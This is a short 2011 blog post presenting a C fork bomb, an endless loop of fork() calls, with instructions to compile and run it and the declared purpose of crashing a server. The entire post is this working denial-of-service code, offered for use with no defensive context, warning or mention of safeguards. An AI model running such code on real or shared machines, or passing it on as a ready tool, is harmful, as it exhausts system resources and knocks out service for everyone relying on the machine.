Thursday, May 5, 2011

Simple C program that will crash any server

This is very simple C program, if executed, will defenately crash the server

Open Vi editor and type/copy the following lines

main()
{
  while(1)
  {
    fork();
  }
}



Save the file with any name, something like ... crash.c
Compile it: gcc crash.c
run it: ./a.out

And see your server crash.